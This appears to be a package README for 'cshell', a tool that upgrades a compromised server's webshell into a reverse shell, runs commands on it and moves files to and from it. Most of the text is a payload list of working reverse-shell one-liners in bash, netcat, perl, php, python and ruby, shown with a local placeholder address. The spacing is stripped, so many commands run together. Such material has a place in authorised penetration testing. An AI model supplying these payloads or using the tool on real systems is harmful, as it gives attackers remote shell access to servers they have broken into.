Package: cshell
CSHELLThis script takes a working webshell as an argument and can perform the following operationsrev : This option sends a payload according to your choice and triggers that payload on the target webshell<br>web : This parameter can execute direct command on the webshell using persisted working directory and error messagelstnr : This option generates a payload and copies it to the clipboard. It can also start a listener, and also encodes the payload [Both are Optional]InstallFrom PIP library :pip3installcshellFrom Github :gitclonehttps://github.com/0z09e/cshell.gitcdcshellsudopython3setup.pyinstallUsageHelp Menu :$cshell--helpusage:cshell.py[-h][--payloads]{rev,web,lstnr}...positionalarguments:{rev,web,lstnr}optionalarguments:-h,--helpshowthishelpmessageandexit--payloadsListallpayloadformatsforrevwebDirectcommandexecutiononthewebshellwitherrormessagerevReverseshellfromaworkingwebshelllstnrGeneratepayload,copyittoyourclipboardandstartalistener[Optional]Getting a reverse shell from a webshell :GET Method  :cshell rev -i <Interface or IP> <Target URL with REV as command>POST Method :cshell rev -i <Interface or IP> -m POST -d <Post DATA in JSON format with REV as command> <Target URL>Interacting with a webshell:GET Method :cshell web <Target URL with WEB as command>Post Method :cshell rev -m POST -d <Post DATA in JSON format with WEB as command> <Target URL>Generating a payload:cshell lstnr -f <Format> -i <Interface or IP>  -p <Port> -f <Payload format>Custom Commands :help- Help menu of custom commandsclear- Clear the screenexit- Exit the shellupload- Upload a file into the remote serverdownload- Download a file from the remote serverPayloads$cshell--payloads========================================================================================================Format-NamePayload========================================================================================================bash-1960<&196;exec196<>/dev/tcp/127.0.0.1/1337;bash<&196>&1962>&196bashbash-i>&/dev/tcp/127.0.0.1/13370>&1bash-read-lineexec5<>/dev/tcp/127.0.0.1/1337;cat<&5|whilereadline;do$line2>&5>&5;donebash-5bash-i5<>/dev/tcp/127.0.0.1/13370<&51>&52>&5bash-udpbash-i>&/dev/udp/127.0.0.1/13370>&1nc-mkfiform/tmp/f;mkfifo/tmp/f;cat/tmp/f|bash-i2>&1|nc127.0.0.11337>/tmp/fncnc-e/bin/bash127.0.0.11337nc-cnc-c/bin/bash127.0.0.11337ncat-encat127.0.0.11337-e/bin/bashperlperl-e'use Socket;$i="127.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'php-execphp-r'$sock=fsockopen("127.0.0.1",1337);exec("bash <&3 >&3 2>&3");'php-shell-execphp-r'$sock=fsockopen("127.0.0.1",1337);shell_exec("bash <&3 >&3 2>&3");'php-systemphp-r'$sock=fsockopen("127.0.0.1",1337);system("bash <&3 >&3 2>&3");'php-passthruphp-r'$sock=fsockopen("127.0.0.1",1337);passthru("bash <&3 >&3 2>&3");'php-popenphp-r'$sock=fsockopen("127.0.0.1",1337);popen("bash <&3 >&3 2>&3", "r");'pythonpython-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'python-exportexportRHOST="127.0.0.1";exportRPORT=1337;python-c'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'python3python3-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'python3-exportexportRHOST="127.0.0.1";exportRPORT=1337;python3-c'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")ruby                            export RHOST=127.0.0.1;export RPORT=1337;ruby -rsocket -e 'exitiffork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.printio.read}end'